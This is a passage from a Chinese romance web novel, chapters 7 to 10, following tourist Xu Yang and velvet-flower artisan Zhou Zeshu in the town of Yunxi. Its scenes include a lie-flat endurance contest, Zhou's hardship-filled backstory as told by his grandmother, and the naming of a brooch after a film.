“你好。”徐漾笑着点头，算作回应。
“看起来很面生，你是过来玩的么？衣服穿着还合适吧？”
“对，我不是本地人，衣服刚刚好，很合适，谢谢你！”
忘记了。“哦，对了，我叫徐漾，徐州的徐，荡漾的漾，衣服我回去洗过给你吧。”
“不用，周老板已经付过了，我叫江时雨，你可以亲切点叫我时雨姐，或者时雨？随意称呼就行，下边不远处有家服装店就是我开的，有时间可以过来玩。”
“好，谢谢时雨姐！”
徐漾余光瞄到柱在吧台正悠悠逗七饼的人，他仿佛置身事外，完全将这边屏蔽。
一阵手机铃响起。
江时雨突然接到消息，店里有事要先过去一趟，跟周泽树打了个招呼，朝徐漾点了点头，匆匆先走了。
室内重回于安静。
徐漾望着远去曼妙的身影，又看看周泽树。
“看什么？”
徐漾被抓包，下意识赶忙弹开视线，又不甘示弱，抿了抿唇，呛他：“……怎么，不能看吗？”
“能，想怎么看都行。”
徐漾这回把自己惹红脸了。
较什么劲儿啊。
她转过脸，假装拢了拢头发，又觉得有些故意，手上动作微顿，干脆拢高，扯着皮筋扎了个马尾。
好在，周泽树视线并没有在这边，而是去给七饼放粮。
徐漾打量起四周，又扫到了那面墙，情不自禁被驱使着走上前去。
仰头。
她看呆了。
心里的震撼又一次袭来。
她想，来这里的人一定没有能平静走出去的。
而它们的主人，又耗了多少时间，多少夜晚呢？
好像对周泽树又多了些认识。
如果真的拿在一起比，上回收的那几枝顶多只能算初入门，这玻璃隔间里的每一位都太精致，栩栩如生，简直像活过来一样。
她甚至潜意识里怀疑其中一支的真实性，食指不知不觉地已经缓慢触碰到冰冷的玻璃板。
门口响起清脆的风铃。
瞬间扰了神。
“小徐姐？！”
来的是张超。
她缩回手，转身冲他打招呼：“嗨。”
“你终于来店里了！我上一次就给你推荐！周哥让我送两份早餐，原来是你呀。”
徐漾有点心虚，当时只是听了一嘴，完全没装在心上，也不知这家店竟是周泽树开的。
“你也在这工作？”
“对啊，我七点到十一点在早餐铺帮荷奶奶，十一点之后在里屿看店，今天早餐店没什么人就过来了。”
张超很得意讲起，他告诉她自己当时高二实在读不下去，出去工作也没地方收，身上唯一的钱还被黑中介给骗了，是被周泽树收留的，但他还是劝要把最后一年读完，看看结果再说话，就自己那个破成绩，一年还不是那鬼样，毕业之后一直跟着周哥，虽然两份工，不过干得开心，工钱也高。
徐漾问起这面墙：“你也会做这个？”
张超连连摆手：“抬举我了，这些都是出自老板一个人之手，我顶多就会些皮毛，出去卖三四十块的价格，人家都嫌弃。”
徐漾仰头望着发呆。
张超在一边兴奋提起上个暑假热播的宫廷剧，说里面很多配饰用到的都是出自“里屿”家。
徐漾知道这个，只是她并没有怎么留意，当时全部注意力都在剧本身上了，主角造型还挺好看的。
她也是来云溪才认识到这门手艺。
不过，周泽树目前发展应该挺好的，刚刚回来的路上，他还跟阿姨婶婶闲聊，互相打招呼来着。
但上回超市的话……
徐漾不懂。
“周哥！”
思考间，周泽树从里边那间屋子出来。
“都干嘛，面壁思过？”他撞见这场面，愣了愣，不禁有些好笑。
“不是要吃汤包么
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？过来吧。”
张超在早餐店已经用过了，小餐桌上暂时只有他们俩，他在前台开始整理没弄完的单据。
“周哥，招聘广告我打出来，等会儿就贴上，网上需要再发一份吗？”
“发吧，都弄上。”
徐漾蘸着酱料，塞嘴里，鼓囊囊的：“里屿缺人呀？”
张超抿唇，叹气说：“我只负责看店，一些简单的整理清点，还有客人来了介绍，很多事情其实我比较笨，帮不上太多忙的。”
“你以为自己能分出来几份，该干嘛就干嘛，没事儿就歇着。”周泽树无语瞥他一眼。
走投无路被收留，到现在混出来能挣到钱，张超打心眼里感激。
里屿本地客人少，每天的工作都很清闲，周泽树从不用员工那套规制店员。
这里没有身份差异，所以他可以随意叫他周哥或者老板。
其实网上的一些协助跟进，他目前的能力并不能做好。
他懂周哥是在维护他。
张超莫名鼻子一酸，忙起手里的动作，低头掩饰自己。
徐漾不动声色地打量两人，低头小口吸着牛奶。
“呀！”
徐漾腾地站起来，吓了两人一跳。
“怎么了？小徐姐。”
“我手机好像忘在花池那边了！”
周泽树夹着汤包，悠悠说：“你自己看看裤兜。”
徐漾低头，手机果然就塞在她牛仔裤口袋里，还露了一半，衣服兜她倒摸了个遍。
“不好意思，我忘记自己换衣服了。”
她坐下，干笑了两声：“我说怎么摸不到嘛。”
周泽树：“……”
说到手机，那正好。
“上次吃饭的钱，还有这回的我一起转你吧，加个微信可以吗？”
话挺正常的，手心却搓了层汗。
周泽树没做声，视线在徐漾脸上游移。
这姑娘一本正经，不转过来，誓不罢休，他在心里浅叹了口气，点开手机，找到二维码给她。
绷直的背脊终于松泛下来，徐漾立即扫了，很快通过。
她还以为她的小心思被看出来了，好险好险。
周泽树的头像是和店里那只柯基的合照，昵称可能是懒得起，只单单一个“周”字。
“多少钱呀？”
他报了一个数字。
“这么少？”
周泽树：“小地方东西便宜。”
徐漾将信将疑，按数目转账过去，最近吃的一些东西确实比大都市要便宜许多，还挺好的这边，不过，怎么算那店老板都要亏。
话就这样没了下文。
并不针对她。
就不可能有冷场的时候。
她按耐不住说起，报名参加的明天中午一场躺平大赛的事。
张超这时候插嘴：“嘉悦广场八小时那个？”
“对啊，好像是八小时吧，不能看手机，不能吃饭，还有啥……”
徐漾不以为意，一脸朝气蓬勃：“哦，不能睡觉，中途只能上一次厕所。”
她一说完，就见两人幽深的表情望着她。
“干嘛？怎么了？你们这么吓人做什么？”
什么表情啊？
周泽树没说话。
张超咽了咽喉咙：“小徐姐……嗯……挺好的。”
实在想不出来说什么了。
如果没记错的话，他过来看到广告，好像也没多少钱。
举办方当时逮着他问有没有兴趣参加试试，接过表一看，赶紧丢回去走人。
就几张破抽奖券，还不一定能开出钱。
玩儿呢。
张超听着就摇头。
而且小徐姐看起来也不像是缺钱的人。
“你以前参加过？”周泽树问。
“没呀，这不是头一回遇见嘛。”徐漾满足吃完自己最后一个，抽纸擦擦嘴。
躺着就有钱赚，多好。
还有什么比这更简单的？
别说八小时，十八小时她都行。
“我已经打算好了，今晚上七点睡，直接睡饱，明天十点就吃早饭，干脆不喝水得了。”
寂静。
很久，很久。
周泽树扯了扯唇，似笑非笑。
“祝你明天愉快。”
“谢谢！”
8. chapter 8
徐漾走时还带走了一盒鲜草莓。
现在算是明白为什么明明就在自己身后，再回头却找不到人了。
周泽树说云溪的草莓在市场小有名气，正巧碰到摊贩就买了，很新鲜，都是从棚里采摘下来没多久，就过来摆摊的。
他待客真的很周到。
徐漾连脚步都是轻快的。
这盒草莓是临走的时候周泽树拿给她的。
他没有给任何人。
时雨姐来时也没有洗。
虽然，这只是对一个外地游客的小小照顾。
可还是很开心。
徐漾在某些方面，会有浅显的占有欲，不能摆在明面，因为会被觉得小气，怪矫情。
都说朋友圈是窥得一个人的镜子，回到住处的第一时间，徐漾就迫不及待点开了“周”。
只有两条。
一条去年阳光透过茂密的树叶，折射进潺潺溪水里的照片，这应该是出去玩拍的。
一条是今年正月，小柯基穿着喜气洋洋的新衣服，周泽树拿零食诱惑它抬头，出镜的只有他一只手。
除此之外，再没有别的。
这招根本对他一点用都没有。
太少太少了。
徐漾扑倒在床上。
好难哦。
虽然也不知道难在哪里。
不过这是不是也证明了他给的不是工作号？
退回来，就这样看着空白聊天界面，静静地盯了许久。
“我拍了拍周泽树。”
周泽树：【？】
徐漾想了想：【谢谢你的草莓，尝过了很甜！】
周泽树：【别客气，都说多少遍谢了。】
仿佛能听见他话里轻浅的笑。
徐漾揉了揉耳朵：【想问问你朋友圈发的那张风景照在哪呀，看起来还不错的样子。】
周泽树：【云溪南，不过没什么好玩的，建议夏天去。】
徐漾：【好吧TT】
周泽树：【怎么了？】
徐漾：【我的计划时间可能等不夏天了。】
过了很久。
等啊等。
那边一直在输入中。
周泽树：【挑一个晴朗的天气去那边野炊或许是不错的选择。】
徐漾：【！！！】
徐漾：【记小本本，安排上！！】
周泽树看到连续跳出来的感叹号，似乎想象到她此刻突然弹起来的鲜活场景。
他不禁摇了摇头。
张超看到老板脸上浮现的笑，疑惑问：“咋啦周哥？”
“没事。”
奇怪。
看错了吗？
—
徐漾的七点早睡计划泡汤了。
晚上住隔壁的朋友来敲门，问要不要一起去露台玩狼人杀，都是这家民宿的租客，大家无聊聚一聚，旅途交个朋友。
当然，徐漾忍痛拒绝了。
说睡就睡。
关灯，拉上被子，闭眼，翻身。
左滚，右滚，平趴，横躺，竖躺。
如此，从床头到床尾，再从床尾折腾到床头，演时钟似的持续了整整一个小时。
哪有年轻人睡这么早的？
徐漾沉痛点头。
一声哀嚎下，抓头发，认命爬起来出去玩了两局狼人杀。
十点提前回来，为了能够立即睡着，她还从楼上顺了一瓶强爽。
都说喝酒能够助眠。
这个结论是真的。
举办时间是上午十一点，第五个闹钟嗡嗡响个不停，徐漾终于不耐烦睁开眼。
十点三十五了！！
徐漾双目呆滞，眼睛都瞪直了，一瞬间清醒过来，立马丢了手机，跳下床风风火火去洗漱。
赶到现场在清点最后一波人数。
“徐漾。”
“徐漾？”
“徐漾在吗？”
负责人扫了一圈，见没有人反应，满足似的要落笔把名字划去。
“不好意思，这里这里！”当事人撑着腰，大口喘着气，从来没有比这更狼狈的时候。要老命了。
比赛总共25人，可能后期权衡利弊觉得不值当，加上有别的突发情况来不了，当天参赛只有19个。
顾名思义“躺平”就是在瑜伽垫上纯躺着。
到了现场，徐漾才知道原来还能看书，只见她左右两边，躺着躺着变戏法似的各掏出一本书来。
左后边的在聊天。
？
这家主办方竟然这么人性化的吗？！
她像一条死鱼一样盯着遥远的天花板，差点翻白眼，真成鱼了。
终于知道为什么昨天跟他们说后，张超和周泽树无不例外露出奇怪的眼神看她。
起初还挺好的，到下午两点，好无聊好无聊，好饿好饿。
看书的也看不下去了，已经有队员躺到后面觉得腰酸背痛举手要退出。
硬到还能接受，但真的好饿，她计划时间是十点起床，还能直接去吃个中午饭，到结束订个豪华晚饭奖励奖励自己。
昨晚上那瓶强爽，导致计划彻底被打乱。
不断有人聊着聊着，因为放起的催眠音乐睡过去，巡查人员也没打搅，直接划掉名字，算作淘汰处理。
也有人躺了四五小时，受不了领一袋鸡蛋骂骂咧咧走了。
竟然还有巡查员故意吃牛肉粉，辣条。
那香味堪比勾魂。
“太饿了，先吃个饭哈，大家继续继续，欸！香～”
可恶！过分！
究竟是道德的沦丧，还是人性的扭曲！
忍。
忍。
因为饿，根本就睡不着，就算放摇篮曲都对她没用。
香味直往鼻子里钻，徐漾实在忍不住了，肚子咕咕叫，无意间摸到兜里有个奇怪的凸起，仿佛看见救命稻草，白光一现，决定使用唯一一次上厕所的特权。
昨下午去便利店买水的时候，顺带买了条巧克力。
去厕所时长是有规定的，只能用十分钟。
在路上迫不及待就撕开塞嘴里。
太惨了。
突然觉得蛮无语又好笑的，就这么莫名其妙嘿嘿笑了几声，惹得过路人奇怪瞅了好几眼。
怪咧，这姑娘。
她自娱自乐，打开相机丧丧自拍了一张。
添加了两条哭痕做表情包。
发送朋友圈。
等回来，竟又走了几个。
徐漾真的就这么直挺挺熬到了下午六点，主打一个来都来了。
后期时间眼看越来越短，主办方居然恶心更改游戏规则，要求必须保持身体一动不动。
行，来都来了，干呗。
徐漾握拳，心平气和望着高高的顶空。身旁有人走来走去；商场日料店栏杆前趴着等待被叫号的食客；穿着小熊玩偶的店员给来来往往的路人发送传单；文具店jk打扮的小姑娘趁结账空隙，食指拨着柜台上的地球仪……
她突然觉得人类好像小动物啊，大家都忙忙碌碌，挽着同伴，收拾好自己的毛毛，间或刚从公司赚完石头，一板一正提着公文包，出来慰籍自己。
那只讨人厌的小狗，终于敲响锣鼓。
咚！——
“结束了结束了。”
最后一刻，感觉背都不是自己的了。
毫无意外，荣获此次冠军，不过和她并列的还有一位阿姨。
徐漾觉得她现在强的可怕，有这意志力干啥不行。
当然，听课，no。
抽奖券根据坚持时间长短发给一二三名，按价钱等额划分，有几率掉落现金，第一名尤其。
激动人心的时刻，大家都捧着要刮不刮，不敢睁眼看。
徐漾盘腿坐在瑜伽垫上一脸平静，刷刷刷两三秒时间刮完交给工作人员。
最后留下地址，对方承诺会尽快发出。
现在只想逃离这个地方。
好累啊，果然躺平也不容易。
徐漾揉揉脖子，捶捶后背，原地转转腿，边走边跟个怪物变异似地活动筋骨，握在手里的手机突然传来振动。
旁边小孩坐着摇摇车，车里唱着轻快的儿歌，一遍又一遍，此起彼伏。
徐漾微愣，走远一点，点开语音。
“结束了吗？我在出口。”
即使和儿歌叠在一起，她依旧听清了那个声音，恰合时宜，让怏掉的自己，活了过来。
起先还是小步小步慢慢走，到后面逐渐加快跑起来，傍晚的风温暖而清爽。
“我天，你怎么来了！”她惊喜喘着粗气。
周泽树感受到了被带来的轻风拂过自己脸上，夕阳的光透进她眼睛里，亮澄澄的。
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“只是觉得再不来，某个人可能要饿死了。”他递给她一瓶扭松过的水。
“你看到了？”
徐漾知道他肯定刷到那条朋友圈了，怪不好意思的。
接过水，嗓子干到不行，匆匆灌了几口，跟着走到一边没人的长椅。
他竟然还带了饭盒，完全在徐漾意料之外。
一层层拆开，里面散着热气，米饭，土豆牛肉粒，清炒丝瓜，西红柿炒蛋虾仁。
“完，感觉我现在饿花眼，出现幻觉了，要不你给我打个120。”
周泽树被逗乐，掩唇笑了一声，将筷子递给她：“老太太做的，趁热吃。”
“谢谢荷奶奶！超级感谢！！宇宙感谢！！”
徐漾想起来，握筷子的手微顿：“你们吃了么？”
“放心吧，都吃过了，是之后做的。”
“那岂不是做了两趟，好麻烦啊。”
周泽树低头看着她，无奈发笑，不得不承认有时候很难跟上她脑回路。
“不是说饿了吗，再不吃就凉了，可就真白做了。”
这招果然有用。
浪费粮食极度可耻。
“那我改天亲自跟奶奶道谢。”
“行。”
徐漾真的饿了，一天下来这才是第一顿，就吃了一条巧克力，荷奶奶的手艺真的很好，很好吃很好吃，有一种家的味道。
她突然觉得来云溪真好，能认识这里的人真好。
徐漾偏头看去。
或许是知道她不自在，周泽树并没有往她这个方向看，懒洋洋地坐着，一只手展开搭在他那边椅背上，仰头，懒散空乏地望着天际。
他身上总有一股轻而易举地从容，好像什么都无所谓。
因为无所谓，又多了份开阔和料峭。
晚霞落在他脸上，头发上，像一幅画。
风吹过来，他阖上了眼。
他们共同裹挟进一片柔软的红。
不远处广场在放歌，自行车骑行而过，框里装着带回家的碎冰蓝玫瑰，在微风里摇曳。
叮铃，散在温柔的傍晚。
徐漾抬头轻呼了口气。
吃完饭，两人都坐了会儿，并不打算走，或许在某一刻产生共鸣，信号得到连接。
夕阳这么美，不能看完，太可惜了。
“你不想问问我这次比赛结果？”
他一直都没有开口问，可徐漾却显得有些迫不及待，自个憋不住了。
周泽树偏过头来，示意她说。
“第一名！躺平大王，厉害吧。”
其实并没有什么实质性的感受，轻飘飘的，可当着周泽树的面，就压抑不住想骄傲一把。
如果可以，他要能夸赞一句就更好了。
“第一名啊，那是挺厉害的。”不是敷衍，是独属于他的语气，她能看到他眼里零星笑意。
尾巴都要摇上天了。
她得到了。
周泽树从口袋里掏出一颗橘子糖，摊手里给她，像是奖励。
“辛苦躺平大王了，吃点甜的。”
徐漾微微一滞，轻抿唇，从他手里接过，指尖还是不可避免触碰到他手心里的那块软肉。
心好烫。
不，好热。
天空像一杯混杂的鸡尾酒，碰撞出美好绚丽的颜色。
她深吸口气，说起感受，擅自将话题绕开：“这个比赛真的好累好累，现在才知道没有事情是容易的。”
周泽树看她：“后悔了？看你昨天那么热情，我们也不好打断你。”
“没有。”徐漾伸了伸腿活动筋骨，绷直，盯着鞋尖。
“如果时光倒回昨天，我还是会参加，但下一次我敢肯定，不会了，因为我已经完整体验过一次了，确实不简单。”
她笑着：“其实不要像我这么傻，忘记吃午饭，忘记带本有意思的书，还挺好的，听周围唠唠嗑，最后一起骂骂咧咧，发呆冥想，也有些意思。”
风吹过她的发丝，飞到鼻尖她也没管，望着那天边的仅剩一半的大蛋黄。
夕阳要散了，但风景依旧没有消失，半个小时后，会迎来属于它的蓝调时刻。
“我就觉得应该看看终点，不管是什么样的，我得自己先走过去才知道。”
周泽树没说话，只是沉默地，无法控制地，不自知地将视线移向徐漾的侧脸。
9. chapter 9
因为给出的地址近，几乎第二天商品就送到了。
也是在不到一小时后，收到周泽树的消息，他发来一个问号。
徐漾已经预料到，装不知道：[怎么了？]
周泽树：[你说怎么了？]
紧接着过来一张照片，不用想也知道是什么。
徐漾蹲在地上喂流浪猫，将最后一点猫粮倒在叶子上，起身拍了拍手。
坐在石墩上，重新点开手机。
徐漾：[这是昨天的奖品哦，第一名的（墨镜）]
周泽树并不买账：[我知道。]
徐漾：[从这发回桐城太远啦，我是寄给荷奶奶的，刚好就在本市，填个地址直接就到了，很方便。]
徐漾：[这个牌子的油烟机我之前就听说很好用，正好可以在早餐店派上用场。]
周泽树顿时无言。
那边一直没回复。
徐漾拍了拍他。
没反应。
拍了拍。
生气了？
拍一拍。
还是没有。
徐漾：[orz]
这次直接换成了语音：“什么意思？”
他声音很平，徐漾试图分辨出他的语气，到底有没有生气，听不出来，除了好听之外没有别的。
周泽树的声音真的很好听，很特别，自带一股清越，是她认识众多男生里第一个这么觉得的。
闺蜜孙雨柔是出了名的音控，常年混居cv圈，日常转发喜欢的几个老师广播剧，微博动态，时常拉着徐漾疯狂问怎么样怎么样，有时候有空，还陪她跑过线下活动。
当然，徐漾就觉得差不多，挺好听的，但还没到让她感兴趣疯狂的地步。
闺蜜冷哼说：“我看这辈子都没有勾你魂的音。”
她觉得有必要录下来，为自己证明，改天给她听听，不过，还是不要了，她得一个人私有。
徐漾手指翻飞，给他解释：[这个是我们年轻人爱用的指代动作，小人跪下抱歉的意思，还有知错了，完蛋了，这些语境都能用。]
周泽树扯起唇角：“谢谢，我也算了解到你们小年轻的知识了。”
“不是！”
徐漾才反应过来话里有问题，连忙解释：“我没有，你听我讲，我没有说你老的意思，我是说我们当下年轻人……”
哎呀！怎么越说越不对劲儿嘛。
周泽树笑了：“好了，我把钱折给你，这是你的劳动成果。”
她刚要说不要，一条转账就过来了，周泽树应该不知道具体价格，比原价还高。
徐漾：“我不收，再说这家具我要也没用啊，你给我折现我也不要。”
到底该怎么才能让对方完全没负担，反正她是不会收的。
徐漾挠了挠头，盯着头顶嫩绿的叶子，觉得脚边上有点痒。
刚刚吃完猫粮的小狸猫追来蹭着她的裤管，用尾巴圈住她的小腿。
徐漾弯腰摸了摸猫脑袋，原地蹲下，敲字回复：[要不然你帮我一个忙？]
周泽树：[什么？]
徐漾：[我暂时没想好，等想到再告诉你。]
徐漾谨慎问：[可以吗？]
那边过了许久，久到越发紧张，衣服都被捏皱了，拉链硌得手疼。
是不是太过了，显得逾矩？刚认识也没多久，甚至人家可能都还没拿你当朋友，没办法，她心里没把门，当下又最想要这一个。
受不了了，拉链被拉得上下呼呼响，徐漾站起身，轻呼了口气，必须得动起来，再这么静静坐下去，衣服今天得废在她手上。
手机传来振动，与推车咯吱裹在一起。
周泽树：[可以。]
—
拍了一期水族馆游玩日记，结束完时间还早，途径烟兰街，恰好看见“一家早餐店”门还没关，荷奶奶正在锁门。
“奶奶！”
荷奶奶一看到是她，笑眯眯地和她打招呼：“是小徐啊。”想到她往这送的油烟机，有些难为情，“太破费了，店里那老家伙还能用，让你花钱多不好意思。”
老人家朴实，凭白收了东西觉得亏欠。
徐漾瞧到荷奶奶提着的桃花，嗅了两下鼻子，接过篮子提起来，紧忙岔开话题：“好香呀，这些花瓣您是要用来当食材的嘛。”
“刚摘的，做桃花糕正正好。”
“哇塞，奶奶您太厉害了，什么都会，我还没见过制作过程。”
“那我一会儿蒸上，小徐要不要去家里坐坐，新鲜出炉的最好吃。”
“好呀！”徐漾一手挎着篮子，一手挽住老人的手，声音温温和和，“奶奶油烟机是我在这边抽奖得到的，家里那边不需要，过时间不领就要被收回啦。”
“再说，我一个人来这边玩，周泽树也帮了我很多啊，反正我也没花钱，不领白不领，您安心用着，效果不错，到时候我跟人家反馈好不好？要是用起来好，买的人也多，商家还能赚钱。”
几句话，终于把老太太讲得皱纹舒展，心里安定了。
……
一路上，徐漾还担心，会碰到周泽树。
不过她多虑了，这个时间点他应该在“里屿”才对。
也不知道为什么，总之手心出了层汗，但又有点没由来的小遗憾。
遗憾什么，期待什么，没人告诉她。
荷奶奶和周泽树的家是一座独栋客栈风小楼，十分温馨，打开门，便闻到雅致的清香，院子里有一小方桌，藤椅，葡萄架，旁边有一棵高大的银杏树。
春天青绿的小扇子在微风里一下又一下晃动，漏了一池明亮的光洒在石桌上。
四周养了许多植物盆栽，石壁上攀着藤蔓，结了几条长长绿油油的瓜。
这个徐漾认识，是丝瓜。
奶奶让她先坐，进屋泡了一壶茶端来，让她等一会儿，可能需要一两个小时。
徐漾没闲着，她也感兴趣，趁机想求教，学几招，救救自己经常受制的胃，一边给荷奶奶打下手，一边两人聊着天。
这种感觉，很亲切很亲切。
荷奶奶谈起桃花糕：“阿树小时候最喜欢吃这个，每年春天就要问我，桃花到底什么时候开？”
“我就说等到春天，桃树要在春天才能开花，他就支起个下巴，呆呆坐着嘟囔，冬天不都过去了，怎么还不见开花？”
荷奶奶说着慈爱地笑了，徐漾也跟着弯了弯眼。
她惊讶于原来周泽树小时候还有这么可爱的一面。
“奶奶您有看网上评价么，周泽树做的绒花特别漂亮，电视剧里还用了他做的呢。”
“我知道，他很辛苦。”
现在日
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子一天天好起来，没了他是不可能的。
从小到大，周泽树都和奶奶一起生活，家里条件不好，他从小就懂事，小小的时候就学会帮衬着做家务，赚钱。
同学们嘲笑他放学捡水瓶，编歌谣打趣他，他只是垂下眼，默默将矿泉水瓶易拉罐放进塑料袋里。
小学五年级有一次母亲节，老师布置作文——“亲爱的妈妈，我想对你说”。
周泽树擅自将“妈妈”划去，改成了“奶奶”，新上任年轻的语文老师，以为他是顽皮小孩故意叫嚣作对，生气在作业本上打了大大的零分，课上让他道歉或者去楼道罚站，他沉默不语，在所有人齐刷刷看客的目光里，起身拿书去到楼道。
老师生气电话打到家里人，周泽树得知奶奶来学校了，着急忙慌冲去办公室，那天过后老师愧疚跟他道歉，周泽树只是郑重诚恳地鞠了一躬，说：“老师，请您以后不要再麻烦我奶奶了，我就是我家里的大人，我自己可以管好我自己。”
15岁的时候在图书店帮忙卖教辅资料，给同学们一遍又一遍跑腿买东西。
17岁，奶奶身体出现很大问题，严重住院，那是最黑暗的时候，所有人都在庆祝毕业，筹划毕业旅游，准备迎接憧憬的大学。
周泽树却将录取通知书关进抽屉里，清晨爬着楼梯，给各个家送水，九点赶去饭店打工，晚上在酒吧当驻唱，这些钱太少太少了，远远还不够。
他给奶奶请了陪护，拿着唯一给自己准备的一点钱，毅然离开云溪。
第一次出远门找工作，并不顺利，遇到黑中介，差点被骗去传销，那天是他成年生日，18岁，他在公园长椅上独自坐到天明，第二天继续找工作。
他的大学生活远不轻松，做过游戏代打，兼职过家教辅导功课，超市收银，也做过艳阳天送外卖。
轻松从没出现在他身上。
20岁，忙中兼顾绒花。
24岁，终于拥有一家属于自己的工作室，同年获得奖项，“里屿”得到越来越多关注，给奶奶开了一家早餐店。
27岁，赴芬兰交流，不断有更多外国友人通过手作，了解并爱上了中国传统艺术。
这是他的蜕变。
从无到有。
如果你只看到他后几年的回报，可那是七年，那是多少个日日夜夜，精益求精。
所有成功的背后，都兼负着巨大的努力和汗水。
荷奶奶说到这，苍老的脸上看不见被埋藏的骄傲，这都是其次，唯有心疼，干枯揉面团的手在颤抖，她擦着眼角。
“他很优秀，想要做的事从来不会轻易放弃，我知道我的孙子什么都能做好，我也相信他。”
喉咙里有些堵，徐漾低下头，整理了整理情绪。
她从小在爱的家庭长大，爸爸妈妈担心她冬天穿不穿的暖，天冷了有没有加衣，今天有没有开心，过生日小姨表姐朋友会准备小礼物。
而周泽树，今天你开心吗？
18岁那个深夜会不会很孤单。
那晚，你在想什么？
刚出炉的糕特别香，徐漾坐在银杏树下，看着小扇缝里透进来的斑驳的光影，眨了下眼睛。
手机里，他还排在第一位，尚未有新消息进来挤掉。
太阳还悬在天际。
她说：“周泽树，要不要吃桃花糕？”
10. chapter 10
来过一趟，早已经轻车熟路。
推开门，风铃清脆作响。
张超在整理展柜架，闻声转头惊喜道：“小徐姐今天怎么有空过来！”
七饼趴在地上玩球，见到人蹭蹭跟个陀螺似的吐着舌头热情跑过来，围在脚边摇头晃脑来回打转。
徐漾把盒子给他，蹲下支起小狗的上半身上，摇了摇逗它玩：“奶奶新做的桃花糕哦，我刚好顺路给你们送过来。”
张超提起来，打开：“还是热的，好香啊，嘿嘿周哥喜欢的，我给他留一半。”
徐漾不动声色往屋内环顾了圈：“周泽树呢？”
张超塞了一口桃花糕，用手指了指楼上，压低声音说：“在上面工作室和客人敲定款式。”
“多久啦？”徐漾了然，声音也瞬间放低下些，变得轻轻的。
他用回正常语气。
“不到一小时，不过没事的，不用压这么低，吵不到上面。”
那你刚刚那副小心谨慎的样子干嘛？
徐漾面无表情：“哦。”
张超想起来又问了上回躺平大赛的事，两人有一搭没一搭地聊起天。
见还没上好编号的胸针，徐漾好奇问：“这枚新出的？”
“对，展柜里有几支被商家定走了，这枚前天出的，不过还没有名字，暂时没想好起什么名字合适。”
“感觉很适合黑西装或者黑丝绒材质衣服诶，打破了沉闷的同时又显得雅致从容，不失个性，好看。”
张超盯着，狠狠点头，小心翼翼将它暂时放起来，防止一个不注意压坏。
“叫“瓦莱面纱”怎么样？”
即使面纱遮掩，也盖不住它的蕴色美感，反而更神秘，想让人一探究竟，勾人心弦。
“好特别！我暂时能想到的就只有“暗夜玫瑰”“血色玫瑰”各种玫瑰之类的，一搜一大片不管衣服首饰都叫这。”
张超说起来颇有点无语，听到新名字瞬间眼睛都亮了，小声呢喃了两遍，越读越有意思。
“是有什么寓意么？”
还真有。
故事发生在上个世纪英国，瓦莱出自《我的西西尼亚之旅》里面女主角的小名，不过疼爱女主的外祖母去世，几乎很少人再叫起她这个名字，女主角十二岁被迫去了势利眼的姑妈一家，受尽了侮辱与针对，即使身边待人接事的价值观无时无刻不在隐形洗脑，她依旧坚守内心，不随波逐流，独立骄傲。
这部影片最经典的两个片段就是女主戴着黑红色面纱，在宴会上与男主对视到擦肩而过，相相离开的四十三秒眼神镜头特写。
“男主之后第一时间有认出女主？”
“当然。”徐漾叹气，支起下巴，“不过，结局并不完全圆满。”
第二个金典片段出现在末尾。女主角逃离家庭后，忍痛决定奔赴小心心念念的远方，而身份显赫的男主角也旅途结束，被家族召回，在很平常的一天，两人心怀爱意，金灿灿的阳光里，男主默默注视着女主的背影，呢喃“瓦莱”两个字，风吹来了黑红色面纱。
“所以男女主没有在一起。”张超跟着被影响，有些淡淡的忧伤。
“应该吧，或许不是，编剧曾经说过，故事还在继续，但谁知道呢，或许在一起了，或许没有。”
徐漾指尖轻点着桌面，七饼趴在脚边假装睡觉。
热烈，骄傲，质朴，神秘，浪漫。
确实完全符合这期的主题。
张超喟叹：“但还是好好奇后续啊。”
楼上周泽树跟客人一起下来，两人都没注意，失魂落魄地撑着下巴。
等客人走后，周泽树失笑道：“怎么这是？被什么妖怪吸了魂？”
张超摇了摇脑袋，重新打起精神，打算将新名字报上去。
“老板，新名字出来了，小徐姐想的主意，“瓦莱面纱”你觉得OK不？”
徐漾一怔。
没想到自己会被突然cue到。
她只是小打小闹提个建议而已。
迅速抬起目光，正好和周泽树的视线对上，他在她脸上停了几秒，听见周泽树说：“行，那就这个吧。”
张超满心欢喜，正因为名字发愁，眼见终于解决了，怎么可能不高兴：“太好了，我马上登记进去！”
徐漾再一次愣住。
就这么决定了？
会不会太草率了点？
周泽树却好像知道她在想什么，没错过她脸上精彩的表情，打开铁盒，捻了块桃花糕出来，闲闲靠在柜子咬了一口。
“确实挺好的，很新颖，和这款风格也挺像。”
“既然有着落了，那这款售卖的钱就归给出注意的。”
“你们俩吃了吗？”他问。
“吃了。”张超注意力都在电脑上，边输边疯狂点头。
周泽树抬了抬下颌示意徐漾。
“我也吃过了，不过钱就不需要了，我就随便一说而已。”
周泽树笑:“小店不兴白嫖。”
这话题转得太快，她却遗漏一个关键点。
“你也看过这个电影？”
“嗯。”周泽树回忆，“大概好几年前的事了。”
这部电影小众，也很古早，几乎少有人提起，里面镜头的每一帧画面都很美，她很喜欢这部影片里女主人公的性格。
既希望她追寻自我，找到想要的自由，又希望她的爱情能够同时得到两全。
他们惺惺相惜，明明是世上最了解且珍惜彼此的人。
可故事……
虽然这就是现实。
接受人生的不完美，得到就要失去某样东西，再在时间长河里慢慢接受，这是一生将要学会的课题。
如果她是瓦莱，肯定也不愿放弃心心念念梦寐以求的远方。
但就没有两全其美的办法吗？
生活已经够苦了，就想要开心一点。
没办法，她是个忠贞的浪漫主义，也是坚定的理想主义，这似乎注定了会被现实打击碰壁，所以她学会了给自己创造乐趣，能乐一天是一天。
如果明天是世界末日，地球上最后一天呢。
徐漾相信，她也得出门给自己买一束花，穿漂亮的小裙子。
……
“说不定男主人公最后突然中途折返，追上女主角驾的马车，一起追寻梦幻之境了？”
周泽树话一出口，两人纷纷抬头。
最激动的要属张超：“真的？！作者大大真的有后续！”
徐漾也注视过来，相比之下她的目光很浅，但又隐隐有些期待。
她知道这部电影结局，而这部影片的原书作者留下悬念后，早已经不在人世。
可还是有那么一点点期待，期待不够仔细，期待漏掉了什么。
两人目光灼灼。
周泽树笑笑，突然觉得他们像小朋友一样，单纯的可爱，索性不愿让他们的期待落空。
抖了抖盒子，将最后几块桃花糕分出去。
“吃点甜的。”
他像个说书人一样，哄着他们。
自然的，松弛的，慢条斯理的。
“男主角本来在自己国家就不受喜，对上流社会的尔虞我诈也不感兴趣，待下去也是徒增痛苦，皇室子孙又不只有他一个。”
甚至恰如其当地开了个玩笑，“说不定裹了财产，一起追随女主去了，难道没这可能？”
张超挠了挠脑袋，灵感一闪：“好像
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也对哦！”
